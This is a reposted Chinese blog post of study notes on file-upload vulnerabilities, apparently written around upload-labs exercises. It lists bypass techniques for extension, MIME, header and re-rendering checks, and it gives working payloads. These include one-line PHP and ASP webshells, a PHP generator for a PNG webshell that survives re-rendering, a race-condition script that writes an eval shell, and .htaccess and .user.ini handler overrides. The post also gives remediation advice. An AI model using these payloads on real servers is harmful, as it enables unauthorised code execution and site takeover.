當前位置:網站首頁>web安全之文件上傳學習總結

web安全之文件上傳學習總結

2022-01-28 03:47:58 初岄

概念

 客戶端 選擇發送的文件->服務器接收->網站程序判斷->臨時文件->移動到指定的路徑
 服務器 接收的資源程序

文件上傳時的錯誤代碼

  值:0  錶明沒有錯誤發生,文件上傳成功。

  值:1  錶明上傳的文件超過了 php.ini 中 upload_max_filesize 選項限制的值。

  值:2  錶明上傳文件的大小超過了 HTML 錶單中 MAX_FILE_SIZE 選項指定的值。

  值:3  錶明文件只有部分被上傳。

  值:4  錶明沒有文件被上傳。

繞過

客戶端

前端js驗證

繞過方式

1、禁用js

2、burp抓包修改後綴名

3、F12修改

4、本地提交

服務端檢查

檢查後綴

黑名單

1、代碼思路

黑名單是設置不能通過的用戶,黑名單以外的用戶都能通過。

phtml、pht、php3、php4、php5後綴都會按做php文件執行,且不在黑名單內。

2、繞過

找漏網之魚:cer、php3、php4、phtml等。

大小寫繞過 :AsP、PhP

雙寫繞過:.pphphp

利用windows系統特性:

系統特性突破(繞過防火牆)

漏洞原理:

利用PHP 和 Windows環境的疊加特性,上傳x.php:.jpg時,會生成x.php的空白文件,接著,以下符號在正則匹配時的相等性:

 雙引號"     相當於   點號.
 大於符號>   相當於  問號?
 小於符號<   相當於   星號*
 文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名
 寫入filename.<<<

NTFS交換數據流(繞過防火牆)

漏洞原理:    

NTFS文件系統中對備用數據流(文件流)和對支持windows系統中默認采用這種數據流::$DATA(只有win支持),如果文件名後加::$DATA會把上傳的數據當作文件流去處理,不會檢測後綴名,且保持::$DATA之前的文件名目的就是繞過對後綴名的檢測,源代碼缺少對::$DATA的過濾,抓包在後綴後面加上::$DATA即可,訪問時要去除後面的::$DATA,直接訪問php文件就行

例:

 test.php:1.jpg
 test.php::$DATA

會被windows系統自動去掉不符合規則符號後面的內容

文件名後加空格----利用Windows系統特性

文件名後加點(.)----利用Windows系統特性

組合以上方法 代碼迭代問題 只檢測一次 可以根據環境進行組合繞過

白名單

1、代碼思路

定義其他格式文件 jpg png fig jpeg ico 等,只要不符合以上格式後綴一律不讓上傳

2、繞過

MIME修改

媒體類型(通常稱為 Multipurpose Internet Mail Extensions 或 MIME 類型 )是一種標准,用來錶示文檔、文件或字節流的性質和格式。

MIME的組成結構非常簡單;由類型與子類型兩個字符串中間用 '/' 分隔而組成。不允許空格存在。type 錶示可以被分多個子類的獨立類別。subtype 錶示細分後的每個類型。

通用的結構為:type/subtype

MIME類型對大小寫不敏感,但是傳統寫法都是小寫。

我們只需要將Content-Type改為合適的類型就可以。

文件類型

  在網絡請求中,常用的Content-Type有如下:text/html, text/plain, text/css, text/javascript, image/jpeg, image/png, image/gif, application/x-www-form-urlencoded, multipart/form-data, application/json, application/xml 等。
 text/plain(純文本)
 text/html(HTML文檔)
 text/javascript(js代碼)
 application/xhtml+xml(XHTML文檔)
 image/gif(GIF圖像)
 image/jpeg(JPEG圖像)
 image/png(PNG圖像)
 video/mpeg(MPEG動畫)
 application/octet-stream(二進制數據)
 application/pdf(PDF文檔)
 application/(編程語言) 該種語言的代碼
 application/msword(Microsoft Word文件)
 message/rfc822(RFC 822形式)
 multipart/alternative(HTML郵件的HTML形式和純文本形式,相同內容使用不同形式錶示)
 application/x-www-form-urlencoded(POST方法提交的錶單)
 multipart/form-data(POST提交時伴隨文件上傳的錶單) 

圖片類型:

 Content-Type: image/jpeg
 Content-Type: image/png
 Content-Type: image/gif

僅限制Content-Type的話,Burp抓包,修改Content-Type,然後放行,即可繞過

%00截斷(GET型)

比特置在url地址中

嚴謹獲取後綴名的話 會獲取最後一個 .後面的後綴

x.php.jpg直接上傳達不到目的並且會被重命名

可被截斷繞過

上傳路徑名%00截斷繞過

上傳的文件名寫成11.jpg, save_path改成../upload/11.php%00,最後保存下來的文件就是11.php

文件上傳%00截斷的條件:

 1 PHP版本小於5.3.4
 2 php.ini中的magic_quotes_gpc設置為Off(魔術開關關閉時)

%00截斷原理:

 www.xxx.com/abc.php%00.jpg => www.xxx.com/abc.php

0x00截斷(POST型)

比特置在數據包中

0x00需要手動解碼 而%00不需要,get請求對url編碼進行解碼,而post錶單不對%00進行解碼

burp抓包添加%00並解碼

檢查內容

文件頭檢測

僅限制Content-Type的話,Burp抓包,修改Content-Type,然後放行,即可繞過

文件內容頭檢測

文件內容頭檢測 只驗證文件內容頭的話不安全,配合後綴名驗證會安全些

添加GIF圖片的文件頭GIF89a,繞過GIF圖片檢查。

常見文件文件頭

常見文件文件頭_Xerath的博客-CSDN博客_jpg文件頭

文件內容檢查

檢測內容是否合法或含有惡意代碼

繞過檢查<? 可以使用以下代碼
html 插入 <script language="php"> 調用數據
例:
<script language="php">echo "木馬文件"</script>
<script language="php">eval($_POST['x']);</script>

二次渲染

文件加載檢測(文件內容檢測)

漏洞原理: 服務器會根據用戶上傳的圖片重新生成圖片,但其十六進制文件有部分沒有改變

常見的是對圖像進行二次渲染,一般是調用PHP 的GD庫

gif後綴做測試

保留部分插入後門代碼

渲染函數導致可用圖片webshell

攻擊原理:

將一個正常顯示的圖片,上傳到服務器。尋找圖片被渲染後與原始圖片部分對比仍然相同的數據塊部分,將Webshell代碼插在該部分,然後上傳。具體實現需要自己編寫Python程序,人工嘗試基本是不可能構造出能繞過渲染函數的圖片webshell的。

一個繞過GD庫的Webshell生成器:

Sec-News 安全文摘

https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

php圖片二次渲染步驟

制作一張二次渲染過後,惡意代碼依舊存在的png圖片馬

<?php
//png.php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./pass17.png');
?>
然後添加上述代碼致payload.php
然後上網頁運行127.0.0.1/payload.php
因為我們代碼最後
會生成一個pass17.png 圖片
再上傳這張圖片即可繞過
生成的圖片後門  需要get post提交兩個變量
get 0=phpinfo
post 1=-1
利用文件包含漏洞即可運行代碼

參考文檔:【文件上傳繞過】——二次渲染漏洞_劍客 getshell的博客-CSDN博客_二次渲染漏洞

代碼邏輯

單次過濾

雙寫文件名繞過 文件名改成xx.pphphp

條件競爭

一些網站允許上傳任意文件,然後檢測文件是否包含Webshell,如果有則删除該文件。

unlink()函數導致木馬文件會在服務器存在一定的時間,再被清除。

服務器端在處理不同用戶的請求時是並發進行的

如果並發處理不當或相關操作邏輯順序設計的不合理時,將導致條件競爭漏洞

繞過:

它先把文件保存在本地,再檢查,然後删除

在上傳完成和安全檢查删除它的間隙,攻擊者用多線程不斷的發起訪問請求該文件

該文件就會被執行從而生成一個惡意shell

競爭删除前生成shell流程:

上傳文件→訪問執行文件,生成shell文件→删除不安全文件 (多線程訪問)

create_shell.php

 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["x"])?>');?>
 python請求代碼
 import requests
 url = "https://830-d6af6a91-a30e-43e8-9e18-806f4c34cf37.do-not-trust.hacking.run/upload/1.php"
 try:
     i=1
     while True:
         html = requests.get(url)
         # print(html.status_code)
         if html.status_code == 200:
             print("OK")
             break
         else:
             print('no'+str(i))
             i=i+1
 except:
     pass

防禦方案:

對於文件上傳,在將文件保存在本地前就進行相應的安全檢查

解析安全

參考 中間件解析漏洞

格式變异

php4 php5 phtml pht 等格式 這是有關apache的配置文件中設置問題 只要滿足特點正則錶達式即可

中間件解析

重寫漏洞

 條件: apache開啟重寫模塊,LoadModule rewrite_module modules/mod_rewrite.so

htaccess 文件是 Apache 服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過 htaccess 文件,可以幫我們實現:網頁301重定向、自定義 404 錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列錶、配置默認文檔等功能。

黑白名單通用,如果可上傳修改 .htaccess 文件 (還能用於隱藏後門)

 重寫文件解析規則繞過
 即先上傳個.htaccess文件,讓解析規則變更
 <FilesMatch ".jpg">
 SetHandler application/x-httpd-php
 </FilesMatch>
 //上傳的所有.jpg文件,將解析為php運行

nginx: 上傳.user.ini文件,內容為:

#define width 1337
#define height 1337
\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = 1.jpg

把當前文件夾下的所有php文件都包含這個1.jpg

特別注意是當前文件夾下

加入目錄裏面有index.php和1.jpg,則此時訪問index.php,網頁中就包含了木馬

其他:

雙文件上傳漏洞

漏洞原理:

往往對第一個文件上傳進行檢測而忽略第二個, 所以在第二個地方上傳shell就行

iis7.0|iis7.5|nginx解析漏洞

漏洞原理:

1、php.ini裏cgi.fix_pathinfo=1(默認為1)
2、在”Handler Mapping”中取消勾選"僅當請求映射至以下內容時才調用處理程序"

漏洞利用: xxx.jpg/.php錶示將圖片當成php解析

nginx < 0.83 漏洞

漏洞原理: %00截斷

漏洞利用: /1.jpg%00php

Apache未知擴展名解析漏洞

Apache的解析漏洞依賴於一個特性: Apache默認一個文件可以有多個以點分割的後綴,當最右邊的後綴無法識別(不在默認一個文件可以有多個以點分割的後綴,當最右邊的後綴無法識別(不在mime.types文件內),則文件內),則繼續向左識別,直到識別到合法後綴才進行解析。

漏洞利用:phpinfo.php.xxx

實戰中可以上傳rar,owf等文件進行利用,如果上傳phpinfo.php.jpg,即使文件名中有.php,也會直接解析為jpg。因為Apache認識.jpg,停止繼續向左識別。

Apache換行解析漏洞(CVE-2017-15715)

影響範圍:2.4.0~2.4.29版本

環境:phpstudy2014 Apache + PHP5.4n

此漏洞形成的根本原因,在於$, 正則錶達式中$不僅匹配字符串結尾比特置,也可以匹配\n 或 \r

在解析PHP時,1.php\x0A將被按照PHP後綴進行解析,導致繞過一些服務器的安全策略。

<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>

限制:獲取文件名時不能用$_FILES['file']['name'],因為它會自動把換行去掉。

修複建議:

1、昇級到最新版本
2、或將上傳的文件重命名為為時間戳+隨機數+.jpg的格式並禁用上傳文件目錄執行脚本權限。

一句話木馬

php

<?php eval($_GET[xxx]);?>
<?php eval($_POST[xxx]);?>

asp

<%eval request("xxx")%>

asp一句話木馬 可以寫在asp,asa,cdx,cer文件中,這些文件都能够識別

文件上傳修複建議

1、使用白名單限制可以上傳的文件擴展名

2、注意0x00截斷攻擊(PHP更新到最新版本)

3、對上傳後的文件統一隨機命名,不允許用戶控制擴展名

4、上傳文件的存儲目錄禁用執行權限

代碼審計中關注以下函數

move_uploaded_file()	//將上傳的文件移動到新比特置

全局搜索$_FILES變量,定比特到相關的上傳過程查看過濾是否嚴格。

文件上傳代碼

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該後綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功!";
                $is_upload = true;
            } else {
                $msg = "文件上傳失敗!";
            }
        }
    }
}else{
    $msg = "請選擇要上傳的文件!";
}

action屬性是提交的目標。

method屬性是提交所用的HTTP方法,常用的就是 POST 和 GET,文件上傳一般用 POST。

enctype屬性必須要寫成這樣,因為文件上傳和普通的提交具有不同的編碼方式。如果不寫的話,可能會被當做urlencoded,就是k1=v1&k2=v2的鍵值對形式,導致解析不出東西。

最後是文件輸入框,它的name屬性非常重要,它是PHP脚本中尋找文件的關鍵字。

接下來是PHP脚本中的東西,PHP中通過$_FILES對象來讀取文件,通過下列幾個屬性:

$_FILESfile - 被上傳文件的名稱。

$_FILESfile - 被上傳文件的類型。

$_FILESfile - 被上傳文件的大小(字節)。

$_FILESfile - 被上傳文件在服務器保存的路徑,通常比特於臨時目錄中。

$_FILESfile - 錯誤代碼,0為無錯誤,其它都是有錯誤。

如果上傳的是數組的話,會跳過$file = explode('.', strtolower($file));。並且後綴有白名單過濾。

而最終的文件名後綴取的是$file[count($file) - 1],因此我們可以讓$file為數組。$file[0]為1.php/,也就是reset($file),然後再令$file[2]為白名單中的jpg。

此時end($file)等於jpg,$file[count($file) - 1]為空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是1.php/.,最終move_uploaded_file會忽略掉/.,最終上傳1.php。

相關函數:

getimagesize($filename);函數判斷文件是否為圖片

exif_imagetype()檢查是否為圖片文件

imagecreatefromjpeg() 二次渲染函數 由文件或 URL 創建一個新圖象。

實戰思路

文件上傳不管是發現還是利用上都會根據產生層面而不同, 常規無資料采用常規思路測試,有資料的情况下直接參考資料進行。

上傳分類

常規網站
框架CMS
編輯器
中間件

有已知漏洞則利用已知漏洞

靶場項目地址:

https://github.com/c0ny1/upload-labs

https://github.com/admin360bug/upload-labs

後續筆記修改及完善會在個人學習記錄更新

有一起學習的歡迎加qq群622816049共同討論

版權聲明
本文為[初岄]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/01/202201280347581495.html

隨機推薦